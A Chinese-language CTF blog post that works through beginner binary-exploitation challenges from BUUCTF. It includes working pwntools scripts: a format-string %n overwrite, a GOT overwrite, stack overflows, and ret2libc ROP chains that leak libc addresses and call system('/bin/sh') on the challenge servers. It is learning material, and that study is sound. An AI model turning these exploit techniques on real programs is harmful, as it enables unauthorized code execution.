[CTF/Pwn] BUU入门Pwn合集1
侧边栏壁纸
  • 累计撰写 65 篇文章
  • 累计收到 3 条评论
Pwn

[CTF/Pwn] BUU入门Pwn合集1

x1n
x1n
2022-04-13 / 0 评论 / 10 阅读 / 正在检测是否收录...

边学边做, 大部分参考了别人的WP, 不明白的地方会尽力弄明白写在这里

[第五空间2019 决赛]PWN5

image-20220331215150712.png

passwd要和urandom里面一样, 读入有限制, 没有漏洞点, printf处有一个明显的格式化字符串漏洞, 尝试用该漏洞泄露目标内容

image-20220331215352268.png

没有PIE, 我们尝试用格式化字符串的%n来覆盖目标bss段

printf("str%n", &addr); 会把str的长度写在addr上 , 这时候栈上第一个参数应该是addr, 第二个参数则是字符串str%n,

image-20220331221834942.png

输入AAAA%x%x...\n后可以发现AAAA在main栈的第十个, 我们把AAAA变成要用的地址, printf拿进去的还是这个第十个, 那如果参数是%10$n的话就会自动调整到第十个参数, 然后把前面输入过的4个byte的len写进去. 之前看到这儿的时候疑惑了无数次并决定放弃pwn)))这是真的))).

payload:p32(0x804c044)+b"%10$n"

>>> payload = p32(0x804c044)+b"%10$n"
>>> p.sendline(payload)
>>> p.sendline('4')
>>> p.interactive()

此外看wp还有一种写atoi的got进而控制流程的方法, 学习了, 过程比较清晰就不另做记录了

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

ciscn_2019_n_8

image-20220331224542028.png

errr..这不比刚才的,简单多了? 第14个Qword是17即可.

但是我信心满满的把payloadpoc = p64(17) * 20打进去之后

image-20220331225316483.png

??? 你要的难道不是17么?
image-20220331225617609.png

image-20220331225623493.png

咱毕竟是个学逆向的啊, 敏锐的我意识到了这个QWORD有诈啊, 咋都是e打头的, 晕, 32位的是吧, 改一下就好了

poc = b'A' * 4 * 13 + p32(17)

image-20220331225816156.png

jarvisoj_level2

image-20220331225937491.png

NX, 没有Canary, 直接栈溢出

image-20220331230003889.png

有system, 给它压个/bin/sh即可, 题里都给好了

payload里分别是0x88的占位, 0x4的bp覆盖, 0x4的sys地址, 0x4的返回地址, 0x4的binsh参数

[OGeek2019]babyrop

image-20220407174233585.png

看上去传进来的是char, 但是read实际上进去的应该是个size_t, 能把这个位置构造成255, 我们就有了20个字节左右的空间利用, 先看看这地方怎么构造成255

image-20220407174412202.png

必须和一个urandom相等, 不然直接exit(0)了, 需要注意的是这程序还有个60s的超时.

这个strncmp本身可以用\x00绕, 因为前面v1会是0.

bypass这里之后, 就可以构造payload了, 首先泄露libc基址, 这里选择泄露read的got

from pwn import *
# r = process("./4")
r = remote('node4.buuoj.cn', 28104)
elf = ELF('./4')
libc = ELF('./libc-2.23.so')
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x8048825
bypass1 = b'\x00' * 7 + b'\xff'
r.sendline(bypass1)
r.recvuntil('Correct\n')

payload = b'A' * 0xEB
payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(8)

r.sendline(payload)

read_addr = u32(r.recv(4))

log.success('read_addr : ' + hex(read_addr))
base_addr = read_addr - libc.symbols['read']
sys_addr = libc.symbols['system'] + base_addr
bin_sh_addr = next(libc.search(b'/bin/sh')) + base_addr

r.sendline(bypass1)
r.recvuntil('Correct\n')

payload = payload = b'A' * 0xEB
payload += p32(sys_addr) + p32(0) + p32(bin_sh_addr)

r.sendline(payload)
r.interactive()

bjdctf_2020_babystack

image-20220407183521055.png

自定义长度, 直接溢出

image-20220407183713051.png

给了system直接

payload = 0x18 * b'A' + p64(tar)

get_started_3dsctf_2016

image-20220407184316099.png

image-20220407184323698.png

image-20220407184630345.png

打了一会死活打不通..

payload = 0x3B * b'A' + p32(tar) + p32(0) + p32(814536271) + p32(425138641)

直接翻题解

image-20220407184838138.png

这里有问题, 正常的程序都是先push ebp, 然后move ebp, esp, 不push的话我们就不用盖ebp了, 要少盖四个字节, 大意了, 动调一下也可以的.

然后是第二个坑, 这题好多网上的wp都说要改mprotect...其实没看出来, 只不过没有设置缓冲区, 如果异常退出的话, 缓冲区的东西不会正常输出出来, 所以我们要让它正常退出

直接把执行完getflag的返回地址扔到exit即可

image-20220407195220499.png


学长告诉我这题很多利用点, 让我研究一下, 在拿了flag之后还可以打一打

ciscn_2019_en_2

菜单题, 有encrypt和decrypt功能, 只有encrypt能进

image-20220408171137269.png

有gets, 无canary, 啥也没有, getshell题

image-20220408172321219.png

image-20220408173720174.png

from pwn import *
from LibcSearcher import *
# context.log_level = "debug"
# r = process("./7")
r = remote('node4.buuoj.cn', 28140)
elf = ELF("./7")

puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
ret = 0x4006b9
r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')

payload = b'\x00' * 0x58 + \
    p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))

log.info("puts_addr : " + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')
payload = b'\x00' * 0x58 + \
    p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)

r.interactive()

非常普通的64位ret2libc,先泄露libc基址再打到system, 唯一值得关注的是输入会被异或, 要么用\x00截断, 要么就要先把payload异或了

[HarekazeCTF2019]baby_rop

image-20220408174019271.png

没有canary, 有system

image-20220408174321830.png

image-20220408181710163.png

那就不动脑子了吧, 没设置缓冲区, 就不recv了

from pwn import *
# context.log_level = "debug"
# r = process("./8")
r = remote('node4.buuoj.cn', 28819)
pop_rdi = 0x400683
bin_sh = 0x601048
sys_addr = 0x400490
# r.recvuntil("name? \"")
payload = b'A' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()

jarvisoj_level2_x64

有system有binsh

payload = b'A' * 0x88 + \
    p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)

not_the_same_3dsctf_2016

image-20220408190559170.png

那就不getshell了, 让它读进来然后再把地址推给puts就好, 注意这题也没有动ebp

payload = b'A' * 0x2D + \
    p32(secret_addr) + p32(write_plt) + p32(exit_addr) + p32(1) + p32(f14g_addr) + p32(0x50)
0

评论 (0)

取消